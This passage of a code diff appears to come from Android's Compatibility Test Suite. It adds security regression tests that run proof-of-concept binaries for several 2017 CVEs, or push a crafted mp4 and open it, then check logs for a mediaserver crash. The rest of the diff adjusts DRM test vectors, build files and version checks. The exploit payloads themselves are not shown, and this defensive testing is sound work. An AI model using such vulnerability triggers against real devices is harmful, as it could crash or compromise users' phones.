+ "[\\s\\n\\S]*/system/lib64/libgui.so [\\s\\n\\S]*", pocOut);
+ }
+ }
+
+ /*
+ * b/33968204
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0340() throws Exception {
+ AdbUtils.runCommandLine("logcat -c", getDevice());
+ AdbUtils.runPocNoOutput("CVE-2017-0340", getDevice(), 60);
+ String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatches("[\\s\\n\\S]*Fatal signal 11 \\(SIGSEGV\\)" +
+ "[\\s\\n\\S]*>>> /system/bin/" +
+ "mediaserver <<<[\\s\\n\\S]*", logcat);
+ }
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_08.java b/hostsidetests/security/src/android/security/cts/Poc17_08.java
new file mode 100644
index 0000000..84f2ada
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc17_08.java
@@ -0,0 +1,36 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc17_08 extends SecurityTestCase {
+
+ /**
+ * b/36075363
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0731() throws Exception {
+ AdbUtils.runCommandLine("logcat -c", getDevice());
+ AdbUtils.runPocNoOutput("CVE-2017-0731", getDevice(), 60);
+ String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatches("[\\s\\n\\S]*Fatal signal 11 \\(SIGSEGV\\)" +
+ "[\\s\\n\\S]*>>> /system/bin/" +
+ "mediaserver <<<[\\s\\n\\S]*", logcat);
+ }
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_09.java b/hostsidetests/security/src/android/security/cts/Poc17_09.java
new file mode 100644
index 0000000..261deea
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc17_09.java
@@ -0,0 +1,36 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc17_09 extends SecurityTestCase {
+
+ /*
+ * b/38234812
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0770() throws Exception {
+ AdbUtils.runCommandLine("logcat -c", getDevice());
+ AdbUtils.runPocNoOutput("CVE-2017-0770", getDevice(), 30);
+ String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatches("[\\s\\n\\S]*Fatal signal 11 \\(SIGSEGV\\)" +
+ "[\\s\\n\\S]*>>> /system/bin/" +
+ "mediaserver <<<[\\s\\n\\S]*", logcat);
+ }
+}
diff --git a/hostsidetests/security/src/android/security/cts/Poc17_11.java b/hostsidetests/security/src/android/security/cts/Poc17_11.java
new file mode 100644
index 0000000..8f1771b
--- /dev/null
+++ b/hostsidetests/security/src/android/security/cts/Poc17_11.java
@@ -0,0 +1,41 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+
+@SecurityTest
+public class Poc17_11 extends SecurityTestCase {
+
+ /**
+ * b/36075131
+ */
+ @SecurityTest
+ public void testPocCVE_2017_0859() throws Exception {
+ AdbUtils.runCommandLine("logcat -c", getDevice());
+ AdbUtils.pushResource("/cve_2017_0859.mp4", "/sdcard/cve_2017_0859.mp4", getDevice());
+ AdbUtils.runCommandLine("am start -a android.intent.action.VIEW " +
+ "-d file:///sdcard/cve_2017_0859.mp4" +
+ " -t audio/amr", getDevice());
+ // Wait for intent to be processed before checking logcat
+ Thread.sleep(5000);
+ String logcat = AdbUtils.runCommandLine("logcat -d", getDevice());
+ assertNotMatches("[\\s\\n\\S]*Fatal signal 11 \\(SIGSEGV\\)" +
+ "[\\s\\n\\S]*>>> /system/bin/" +
+ "mediaserver <<<[\\s\\n\\S]*", logcat);
+ }
+}
diff --git a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java b/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
index 7a691ec..b99a748 100644
--- a/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
+++ b/hostsidetests/services/activitymanager/src/android/server/cts/ActivityManagerPinnedStackTests.java
@@ -34,6 +34,8 @@
pinnedStackTester(PIP_ACTIVITY, PIP_ACTIVITY, true, false);
}
+ /**
+ * Disabled for b/35314835
public void testAlwaysFocusablePipActivity() throws Exception {
pinnedStackTester(ALWAYS_FOCUSABLE_PIP_ACTIVITY, ALWAYS_FOCUSABLE_PIP_ACTIVITY, true, true);
}
@@ -42,6 +44,7 @@
pinnedStackTester(
LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY, ALWAYS_FOCUSABLE_PIP_ACTIVITY, false, true);
}
+ */
private void pinnedStackTester(String startActivity, String topActivityName,
boolean moveTopToPinnedStack, boolean isFocusable) throws Exception {
diff --git a/hostsidetests/services/windowmanager/src/android/wm/cts/CrossAppDragAndDropTests.java b/hostsidetests/services/windowmanager/src/android/wm/cts/CrossAppDragAndDropTests.java
index fa1ae69..77119c0 100644
--- a/hostsidetests/services/windowmanager/src/android/wm/cts/CrossAppDragAndDropTests.java
+++ b/hostsidetests/services/windowmanager/src/android/wm/cts/CrossAppDragAndDropTests.java
@@ -19,10 +19,12 @@
import com.android.tradefed.device.CollectingOutputReceiver;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.testtype.DeviceTestCase;
import java.util.HashMap;
import java.util.Map;
+import java.util.regex.Pattern;
public class CrossAppDragAndDropTests extends DeviceTestCase {
// Constants copied from ActivityManager.StackId. If they are changed there, these must be
@@ -47,13 +49,17 @@
private static final String INPUT_MOUSE_SWIPE = "input mouse swipe ";
private static final String TASK_ID_PREFIX = "taskId";
+ // Regex pattern to match adb shell am stack list output of the form:
+ // taskId=<TASK_ID>: <componentName> bounds=[LEFT,TOP][RIGHT,BOTTOM]
+ private static final String TASK_REGEX_PATTERN_STRING =
+ "taskId=[0-9]+: %s bounds=\\[[0-9]+,[0-9]+\\]\\[[0-9]+,[0-9]+\\]";
+
private static final int SWIPE_DURATION_MS = 500;
private static final String SOURCE_PACKAGE_NAME = "android.wm.cts.dndsourceapp";
private static final String TARGET_PACKAGE_NAME = "android.wm.cts.dndtargetapp";
private static final String TARGET_23_PACKAGE_NAME = "android.wm.cts.dndtargetappsdk23";
-
private static final String SOURCE_ACTIVITY_NAME = "DragSource";
private static final String TARGET_ACTIVITY_NAME = "DropTarget";
@@ -218,8 +224,15 @@
CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
mDevice.executeShellCommand(AM_STACK_LIST, outputReceiver);
final String output = outputReceiver.getOutput();
+ final StringBuilder builder = new StringBuilder();
+ builder.append("Finding task info for task: ");
+ builder.append(name);
+ builder.append("\nParsing adb shell am output: " );
+ builder.append(output);
+ CLog.i(builder.toString());
+ final Pattern pattern = Pattern.compile(String.format(TASK_REGEX_PATTERN_STRING, name));
for (String line : output.split("\\n")) {
- if (line.contains(name)) {
+ if (pattern.matcher(line).find()) {
return line;
}
}
diff --git a/tests/tests/media/Android.mk b/tests/tests/media/Android.mk
index 66dcef6..47e8ae1 100644
--- a/tests/tests/media/Android.mk
+++ b/tests/tests/media/Android.mk
@@ -44,9 +44,11 @@
# include both the 32 and 64 bit versions
LOCAL_MULTILIB := both
-LOCAL_STATIC_JAVA_LIBRARIES := ctsmediautil ctsdeviceutil compatibility-device-util ctstestserver ctstestrunner ndkaudio
+LOCAL_STATIC_JAVA_LIBRARIES := ctsmediautil ctsdeviceutil compatibility-device-util
+LOCAL_STATIC_JAVA_LIBRARIES += ctstestserver ctstestrunner ndkaudio
-LOCAL_JNI_SHARED_LIBRARIES := libctsmediadrm_jni libctsmediacodec_jni libaudio_jni libnativehelper_compat_libc++ libndkaudioLib
+LOCAL_JNI_SHARED_LIBRARIES := libctsmediacodec_jni libaudio_jni libnativehelper_compat_libc++
+LOCAL_JNI_SHARED_LIBRARIES += libndkaudioLib libctsmediadrm_jni
# do not compress VP9 video files
LOCAL_AAPT_FLAGS := -0 .vp9
diff --git a/tests/tests/media/libmediandkjni/Android.mk b/tests/tests/media/libmediandkjni/Android.mk
index 5aa222a..1ccdede 100644
--- a/tests/tests/media/libmediandkjni/Android.mk
+++ b/tests/tests/media/libmediandkjni/Android.mk
@@ -19,7 +19,7 @@
#
include $(CLEAR_VARS)
-LOCAL_MODULE := libctsmediacodec_jni
+LOCAL_MODULE := libctsmediacodec_jni
LOCAL_MODULE_TAGS := optional
@@ -36,11 +36,11 @@
LOCAL_SHARED_LIBRARIES := \
libandroid libnativehelper_compat_libc++ \
- liblog libmediandk libEGL
+ liblog libmediandk
-LOCAL_SDK_VERSION := 24
+LOCAL_SDK_VERSION := 23
-LOCAL_CFLAGS := -Werror -Wall -DEGL_EGLEXT_PROTOTYPES -std=gnu++14
+LOCAL_CFLAGS := -Werror -Wall
include $(BUILD_SHARED_LIBRARY)
@@ -49,7 +49,7 @@
#
include $(CLEAR_VARS)
-LOCAL_MODULE := libctsmediadrm_jni
+LOCAL_MODULE := libctsmediadrm_jni
# Don't include this package in any configuration by default.
LOCAL_MODULE_TAGS := optional
@@ -64,16 +64,17 @@
$(JNI_H_INCLUDE) \
system/core/include
+
LOCAL_C_INCLUDES += $(call include-path-for, mediandk)
LOCAL_SHARED_LIBRARIES := \
libandroid libnativehelper_compat_libc++ \
- liblog libmediandk libdl libEGL
+ liblog libmediandk libdl
-LOCAL_SDK_VERSION := 24
-
-LOCAL_CFLAGS := -Werror -Wall -DEGL_EGLEXT_PROTOTYPES
+LOCAL_SDK_VERSION := 23
LOCAL_NDK_STL_VARIANT := c++_static
+LOCAL_CFLAGS := -Werror -Wall
+
include $(BUILD_SHARED_LIBRARY)
diff --git a/tests/tests/media/libmediandkjni/md5_utils.cpp b/tests/tests/media/libmediandkjni/md5_utils.cpp
index 7850cac..8e520e1 100644
--- a/tests/tests/media/libmediandkjni/md5_utils.cpp
+++ b/tests/tests/media/libmediandkjni/md5_utils.cpp
@@ -157,7 +157,7 @@
*/
void
MD5Transform(UWORD32 buf[4], UWORD32 const in[16]) {
- /*register*/ UWORD32 a, b, c, d;
+ UWORD32 a, b, c, d;
a = buf[0];
b = buf[1];
diff --git a/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp b/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp
index 571cec4..b98a6af 100644
--- a/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp
+++ b/tests/tests/media/libmediandkjni/native-mediadrm-jni.cpp
@@ -59,9 +59,9 @@
static const size_t kPlayTimeSeconds = 30;
static const size_t kUuidSize = 16;
-static const uint8_t kClearKeyUuid[kUuidSize] = {
- 0x10, 0x77, 0xef, 0xec, 0xc0, 0xb2, 0x4d, 0x02,
- 0xac, 0xe3, 0x3c, 0x1e, 0x52, 0xe2, 0xfb, 0x4b
+static const uint8_t kWidevineUuid[kUuidSize] = {
+ 0xed, 0xef, 0x8b, 0xa9, 0x79, 0xd6, 0x4a, 0xce,
+ 0xa3, 0xc8, 0x27, 0xdc, 0xd5, 0x1d, 0x21, 0xed
};
// The test content is not packaged with clearkey UUID,
@@ -77,8 +77,8 @@
// number of key ids
0x00, 0x00, 0x00, 0x01,
// key id
- 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30,
- 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30,
+ 0x60, 0x06, 0x1e, 0x01, 0x7e, 0x47, 0x7e, 0x87,
+ 0x7e, 0x57, 0xd0, 0x0d, 0x1e, 0xd0, 0x0d, 0x1e,
// size of data, must be zero
0x00, 0x00, 0x00, 0x00
};
@@ -86,23 +86,23 @@
static const uint8_t kKeyRequestData[] = {
0x7b, 0x22, 0x6b, 0x69, 0x64,
0x73, 0x22, 0x3a, 0x5b, 0x22,
- 0x4d, 0x44, 0x41, 0x77, 0x4d,
- 0x44, 0x41, 0x77, 0x4d, 0x44,
- 0x41, 0x77, 0x4d, 0x44, 0x41,
- 0x77, 0x4d, 0x44, 0x41, 0x77,
- 0x4d, 0x41, 0x22, 0x5d, 0x2c,
+ 0x59, 0x41, 0x59, 0x65, 0x41,
+ 0x58, 0x35, 0x48, 0x66, 0x6f,
+ 0x64, 0x2b, 0x56, 0x39, 0x41,
+ 0x4e, 0x48, 0x74, 0x41, 0x4e,
+ 0x48, 0x67, 0x22, 0x5d, 0x2c,
0x22, 0x74, 0x79, 0x70, 0x65,
0x22, 0x3a, 0x22, 0x74, 0x65,
0x6d, 0x70, 0x6f, 0x72, 0x61,
- 0x72, 0x79, 0x22, 0x7d
+ 0x72, 0x79, 0x22, 0x7d,
};
static const size_t kKeyRequestSize = sizeof(kKeyRequestData);
// base 64 encoded JSON response string, must not contain padding character '='
static const char kResponse[] = "{\"keys\":[{\"kty\":\"oct\"," \
- "\"kid\":\"MDAwMDAwMDAwMDAwMDAwMA\",\"k\":" \
- "\"Pwoz80CYueIrwHjgobXoVA\"}]}";
+ "\"kid\":\"YAYeAX5Hfod+V9ANHtANHg\",\"k\":" \
+ "\"GoogleTestKeyBase64ggg\"}]}";
static bool isUuidSizeValid(Uuid uuid) {
return (uuid.size() == kUuidSize);
@@ -246,12 +246,17 @@
for (size_t i = 0; i < psshInfo->numentries; i++) {
PsshEntry *entry = &psshInfo->entries[i];
- if (0 == memcmp(entry->uuid, kClearKeyUuid, sizeof(entry->uuid))) {
- aMediaObjects.setDrm(AMediaDrm_createByUUID(&juuid[0]));
- if (aMediaObjects.getDrm()) {
+ // We do not have clearkey content that contains ClearKey UUID in the
+ // pssh box. So we have to test if it has Widevine UUID instead.
+ // TODO: Replace kWidevineUuid with uuid when test content contains
+ // ClearKey UUID.
+ if (0 == memcmp(entry->uuid, kWidevineUuid, sizeof(entry->uuid))) {
+ aMediaObjects.setCrypto(
+ AMediaCrypto_new(entry->uuid, entry->data, entry->datalen));
+ if (aMediaObjects.getCrypto()) {
testResult = JNI_TRUE;
} else {
- ALOGE("Failed to create media drm=%zd", i);
+ ALOGE("Failed to create media crypto=%zd", i);
testResult = JNI_FALSE;
}
break;
@@ -288,7 +293,6 @@
AMediaCodec** codec) {
size_t numTracks = AMediaExtractor_getTrackCount(
const_cast<AMediaExtractor*>(extractor));
-
AMediaFormat* trackFormat = NULL;
for (size_t i = 0; i < numTracks; ++i) {
trackFormat = AMediaExtractor_getTrackFormat(
@@ -301,7 +305,6 @@
if (!AMediaFormat_getString(
trackFormat, AMEDIAFORMAT_KEY_MIME, &mime)) {
ALOGE("no mime type");
-
AMediaFormat_delete(trackFormat);
return;
} else if (isAudio(mime) || isVideo(mime)) {
@@ -347,7 +350,6 @@
AMediaCodecCryptoInfo *cryptoInfo =
AMediaExtractor_getSampleCryptoInfo(extractor);
-
if (cryptoInfo) {
status = AMediaCodec_queueSecureInputBuffer(
codec, bufferIndex, 0, cryptoInfo,
@@ -418,7 +420,6 @@
}
addTracks(audioExtractor, NULL, NULL, &audioCodec);
-
addTracks(videoExtractor, crypto, window, &videoCodec);
bool sawAudioInputEos = false;
@@ -614,7 +615,7 @@
int count = 0;
while (!gGotVendorDefinedEvent && count++ < 5) {
// Prevents race condition when the event arrives late
- usleep(2000);
+ usleep(1000);
}
if (!gGotVendorDefinedEvent) {
ALOGE("Event listener did not receive the expected event.");
diff --git a/tests/tests/media/src/android/media/cts/ConnectionStatus.java b/tests/tests/media/src/android/media/cts/ConnectionStatus.java
index 407e553..37fc75e 100644
--- a/tests/tests/media/src/android/media/cts/ConnectionStatus.java
+++ b/tests/tests/media/src/android/media/cts/ConnectionStatus.java
@@ -132,14 +132,6 @@
}
public void testConnection(Uri uri) {
- final String GOOG = "www.google.com";
-
- if (pingTest(GOOG)) {
- Log.d(TAG, "Successfully pinged " + GOOG);
- } else {
- Log.e(TAG, "Failed to ping " + GOOG);
- }
-
if (pingTest(uri.getHost())) {
Log.d(TAG, "Successfully pinged " + uri.getHost());
} else {
diff --git a/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java b/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java
index 649496e..1d4500f 100644
--- a/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java
+++ b/tests/tests/media/src/android/media/cts/NativeClearKeySystemTest.java
@@ -18,13 +18,12 @@
import static org.junit.Assert.assertThat;
import static org.junit.matchers.JUnitMatchers.containsString;
+import android.cts.util.MediaUtils;
import android.net.Uri;
-import android.os.Build;
import android.util.Log;
import android.view.Surface;
import android.view.SurfaceHolder;
-import android.cts.util.MediaUtils;
import com.google.android.collect.Lists;
import java.nio.ByteBuffer;
@@ -45,12 +44,11 @@
private static final String ISO_BMFF_VIDEO_MIME_TYPE = "video/avc";
private static final String ISO_BMFF_AUDIO_MIME_TYPE = "audio/avc";
private static final Uri CENC_AUDIO_URL = Uri.parse(
- "https://storage.googleapis.com/wvmedia/clear/h264/llama/" +
- "llama_aac_audio.mp4");
-
+ "http://yt-dash-mse-test.commondatastorage.googleapis.com/media/" +
+ "car_cenc-20120827-8c.mp4");
private static final Uri CENC_CLEARKEY_VIDEO_URL = Uri.parse(
- "https://storage.googleapis.com/wvmedia/clearkey/" +
- "llama_h264_main_720p_8000.mp4");
+ "http://yt-dash-mse-test.commondatastorage.googleapis.com/media/" +
+ "car_cenc-20120827-88.mp4");
private static final int UUID_BYTE_SIZE = 16;
private static final UUID CLEARKEY_SCHEME_UUID =
@@ -96,7 +94,7 @@
private boolean deviceHasMediaDrm() {
// ClearKey is introduced after KitKat.
- if (Build.VERSION.SDK_INT <= android.os.Build.VERSION_CODES.KITKAT) {
+ if (android.os.Build.VERSION.SDK_INT <= android.os.Build.VERSION_CODES.KITKAT) {
Log.i(TAG, "This test is designed to work after Android KitKat.");
return false;
}
@@ -172,12 +170,25 @@
}
connectionStatus.testConnection(videoUrl);
- if (!MediaUtils.checkCodecsForPath(mContext, videoUrl.toString())) {
+ if (!MediaUtils.checkCodecsForPath(mContext, videoUrl.getPath())) {
Log.i(TAG, "Device does not support " +
videoWidth + "x" + videoHeight + " resolution for " + mimeType);
return; // skip
}
+ // set to true if modify isVersionSmaller()
+ if (false)
+ unitTestIsVersionSmaller();
+
+ // This test requires two changes in frameworks/av (go/av/1628977 and
+ // go/ag/1598174) that are in 7.1.2 and above.
+ // Version 8 and above does not need this check.
+ if (isVersionSmaller(android.os.Build.VERSION.RELEASE, "7.1.2")) {
+ Log.i(TAG, "This test requires android \"7.1.2\" or higher.");
+ Log.i(TAG, "This device is running \"" +
+ android.os.Build.VERSION.RELEASE + "\".");
+ return; // skip
+ }
PlaybackParams params = new PlaybackParams();
params.surface = mActivity.getSurfaceHolder().getSurface();
params.mimeType = mimeType;
@@ -191,52 +202,49 @@
params.surface.release();
}
- /*
- * Compare version strings
- *
- * @param actual Actual platform's Android version
- * @param expected Minimum Android version
- *
- * @return 0 if the versions are identical
- * @return +v if actual is greater than expected
- * @return -ve if actual is less than expected
+ private void unitTestIsVersionSmaller() {
+ assertTrue(isVersionSmaller("6.9", "7.1.2"));
+ assertTrue(isVersionSmaller("7.1", "7.1.2"));
+ assertTrue(isVersionSmaller("7.1.1", "7.1.2"));
+ assertTrue(isVersionSmaller("7.1.1.4", "7.1.2"));
+ assertFalse(isVersionSmaller("7.1.2", "7.1.2"));
+ assertFalse(isVersionSmaller("8.0", "7.1.2"));
+ assertFalse(isVersionSmaller("8.1.2", "7.1.2"));
+ }
+
+ private ArrayList<Integer> intVersion(String version) {
+ String versions[] = version.split("\\.");
+
+ ArrayList<Integer> versionNumbers = Lists.newArrayList();
+ for (String subVersion : versions) {
+ versionNumbers.add(Integer.parseInt(subVersion));
+ }
+ return versionNumbers;
+ }
+
+ /**
+ * Return true if smaller, return false if great than or equal to the
+ * target version.
*/
- private static Integer compareVersion(String actual, String expected) {
- String[] part1 = actual.split("\\.");
- String[] part2 = expected.split("\\.");
+ private boolean isVersionSmaller(String testVersion, String targetVersion) {
+ ArrayList<Integer> intTestVersion = intVersion(testVersion);
+ ArrayList<Integer> intTargetVersion = intVersion(targetVersion);
- int idx = 0;
- for (; idx < part1.length && idx < part2.length; idx++) {
- String p1 = part1[idx];
- String p2 = part2[idx];
-
- int cmp;
- if (p1.matches("\\d+") && p2.matches("\\d+")) {
- cmp = new Integer(p1).compareTo(new Integer(p2));
- } else {
- cmp = part1[idx].compareTo(part2[idx]);
- }
- if (cmp != 0) return cmp;
- }
-
- if (part1.length == part2.length) {
- return 0;
- } else {
- boolean left = part1.length > idx;
- String[] parts = left ? part1 : part2;
-
- for (; idx < parts.length; idx++) {
- String p = parts[idx];
- int cmp;
- if (p.matches("\\d+")) {
- cmp = new Integer(p).compareTo(0);
+ Iterator itr = intTestVersion.iterator();
+ for (int targetNumber : intTargetVersion) {
+ if (itr.hasNext()) {
+ int testNumber = (int) itr.next();
+ if (testNumber == targetNumber) {
+ continue;
} else {
- cmp = 1;
+ return testNumber < targetNumber;
}
- if (cmp != 0) return left ? cmp : -cmp;
+ } else {
+ // treat test version as 0
+ return 0 != targetNumber;
}
- return 0;
}
+ return false;
}
private static native boolean isCryptoSchemeSupportedNative(final byte[] uuid);
@@ -250,14 +258,10 @@
private static native boolean testPsshNative(final byte[] uuid, final String videoUrl);
public void testClearKeyPlaybackCenc() throws Exception {
- if (compareVersion(Build.VERSION.RELEASE, "7.1.2") >= 0) {
- testClearKeyPlayback(
- ISO_BMFF_VIDEO_MIME_TYPE,
- CENC_AUDIO_URL,
- CENC_CLEARKEY_VIDEO_URL,
- VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC);
- } else {
- Log.i(TAG, "Skip test, which is intended for Android 7.1.2 and above.");
- }
+ testClearKeyPlayback(
+ ISO_BMFF_VIDEO_MIME_TYPE,
+ CENC_AUDIO_URL,
+ CENC_CLEARKEY_VIDEO_URL,
+ VIDEO_WIDTH_CENC, VIDEO_HEIGHT_CENC);
}
}
diff --git a/tests/tests/os/Android.mk b/tests/tests/os/Android.mk
index 5397fc6a..4dc87b1 100644
--- a/tests/tests/os/Android.mk
+++ b/tests/tests/os/Android.mk
@@ -48,3 +48,34 @@
include $(BUILD_CTS_PACKAGE)
include $(call all-makefiles-under,$(LOCAL_PATH))
+
+# platform version check (b/32056228)
+# ============================================================
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := cts-platform-version-check
+LOCAL_MODULE_CLASS := ETC
+LOCAL_MODULE_TAGS := optional
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+cts_platform_version_path := cts/tests/tests/os/assets/platform_versions.txt
+cts_platform_version_string := $(shell cat $(cts_platform_version_path))
+
+include $(BUILD_SYSTEM)/base_rules.mk
+
+$(LOCAL_BUILT_MODULE) : $(cts_platform_version_path) build/core/version_defaults.mk
+ $(hide) if [ -z "$(findstring $(PLATFORM_VERSION),$(cts_platform_version_string))" ]; then \
+ echo "============================================================" 1>&2; \
+ echo "Could not find version \"$(PLATFORM_VERSION)\" in CTS platform version file:" 1>&2; \
+ echo "" 1>&2; \
+ echo " $(cts_platform_version_path)" 1>&2; \
+ echo "" 1>&2; \
+ echo "Most likely PLATFORM_VERSION in build/core/version_defaults.mk" 1>&2; \
+ echo "has changed and a new version must be added to this CTS file." 1>&2; \
+ echo "============================================================" 1>&2; \
+ exit 1; \
+ fi
+ @mkdir -p $(dir $@)
+ echo $(cts_platform_version_string) > $@
diff --git a/tests/tests/os/assets/platform_versions.txt b/tests/tests/os/assets/platform_versions.txt
new file mode 100644
index 0000000..6f9c237
--- /dev/null
+++ b/tests/tests/os/assets/platform_versions.txt
@@ -0,0 +1,3 @@
+7.1
+7.1.1
+7.1.2
diff --git a/tests/tests/os/src/android/os/cts/BuildVersionTest.java b/tests/tests/os/src/android/os/cts/BuildVersionTest.java
index e39249b..d06171b 100644
--- a/tests/tests/os/src/android/os/cts/BuildVersionTest.java
+++ b/tests/tests/os/src/android/os/cts/BuildVersionTest.java
@@ -16,10 +16,16 @@
package android.os.cts;
+import android.content.res.AssetManager;
import android.os.Build;
import android.platform.test.annotations.RestrictedBuildTest;
+import android.support.test.InstrumentationRegistry;
import android.util.Log;
+import java.io.BufferedReader;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.IOException;
import java.util.Arrays;
import java.util.HashSet;
import java.util.Set;
@@ -29,17 +35,16 @@
public class BuildVersionTest extends TestCase {
private static final String LOG_TAG = "BuildVersionTest";
- private static final Set<String> EXPECTED_RELEASES =
- new HashSet<String>(Arrays.asList("7.1","7.1.1","7.1.2"));
private static final int EXPECTED_SDK = 25;
private static final String EXPECTED_BUILD_VARIANT = "user";
private static final String EXPECTED_TAG = "release-keys";
+ private static final String PLATFORM_VERSIONS_FILE = "platform_versions.txt";
@SuppressWarnings("deprecation")
@RestrictedBuildTest
public void testReleaseVersion() {
// Applications may rely on the exact release version
- assertAnyOf("BUILD.VERSION.RELEASE", Build.VERSION.RELEASE, EXPECTED_RELEASES);
+ assertAnyOf("BUILD.VERSION.RELEASE", Build.VERSION.RELEASE, getExpectedReleases());
assertEquals("Build.VERSION.SDK", "" + EXPECTED_SDK, Build.VERSION.SDK);
assertEquals("Build.VERSION.SDK_INT", EXPECTED_SDK, Build.VERSION.SDK_INT);
}
@@ -94,4 +99,20 @@
", should be one of: " + permittedValues);
}
}
+
+ private Set<String> getExpectedReleases() {
+ Set<String> expectedReleases = new HashSet<String>();
+ final AssetManager assets =
+ InstrumentationRegistry.getInstrumentation().getTargetContext().getAssets();
+ String line;
+ try (BufferedReader br =
+ new BufferedReader(new InputStreamReader(assets.open(PLATFORM_VERSIONS_FILE)))) {
+ while ((line = br.readLine()) != null) {
+ expectedReleases.add(line);
+ }
+ } catch (IOException e) {
+ fail("Could not open file " + PLATFORM_VERSIONS_FILE + " to run test");
+ }
+ return expectedReleases;
+ }
}
diff --git a/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java b/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
index 277198e..575b35e 100644
--- a/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/FileSystemPermissionTest.java
@@ -538,6 +538,7 @@
"/data/mdl",
"/data/misc",
"/data/misc/bluetooth",
+ "/data/misc/bluetooth/logs",
"/data/misc/dhcp",
"/data/misc/lockscreen",
"/data/misc/sensor",
diff --git a/tests/tests/security/Android.mk b/tests/tests/security/Android.mk
index 100e1ba..db014a4 100644
--- a/tests/tests/security/Android.mk
+++ b/tests/tests/security/Android.mk
@@ -26,33 +26,13 @@
LOCAL_JAVA_LIBRARIES := android.test.runner org.apache.http.legacy
LOCAL_JNI_SHARED_LIBRARIES := libctssecurity_jni libcts_jni libnativehelper_compat_libc++ \
- libnativehelper \
- libbinder \
- libutils \
- libmedia \
- libselinux \
- libcutils \
- libcrypto \
- libc++ \
- libbacktrace \
- libui \
- libsonivox \
- libexpat \
- libcamera_client \
- libgui \
- libaudioutils \
- libnbaio \
- libpcre \
- libpackagelistparser \
- libpowermanager \
- libbase \
- libunwind \
- libhardware \
- libsync \
- libcamera_metadata \
- libspeexresampler \
- liblzma \
- libstagefright_foundation
+ libnativehelper \
+ libcutils \
+ libcrypto \
+ libselinux \
+ libc++ \
+ libpcre \
+ libpackagelistparser
LOCAL_SRC_FILES := $(call all-java-files-under, src)\
src/android/security/cts/activity/ISecureRandomService.aidl\
diff --git a/tests/tests/security/jni/Android.mk b/tests/tests/security/jni/Android.mk
index d39ac7e..cbfbe3a 100644
--- a/tests/tests/security/jni/Android.mk
+++ b/tests/tests/security/jni/Android.mk
@@ -31,37 +31,16 @@
android_security_cts_MMapExecutableTest.cpp \
android_security_cts_EncryptionTest.cpp \
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE) \
- $(TOP)/frameworks/native/include/media/openmax
-
-LOCAL_SHARED_LIBRARIES := libnativehelper \
+LOCAL_SHARED_LIBRARIES := \
+ libnativehelper \
liblog \
- libutils \
- libmedia \
- libselinux \
- libdl \
libcutils \
libcrypto \
+ libselinux \
libc++ \
- libbacktrace \
- libui \
- libsonivox \
- libexpat \
- libcamera_client \
- libgui \
- libaudioutils \
- libnbaio \
libpcre \
libpackagelistparser \
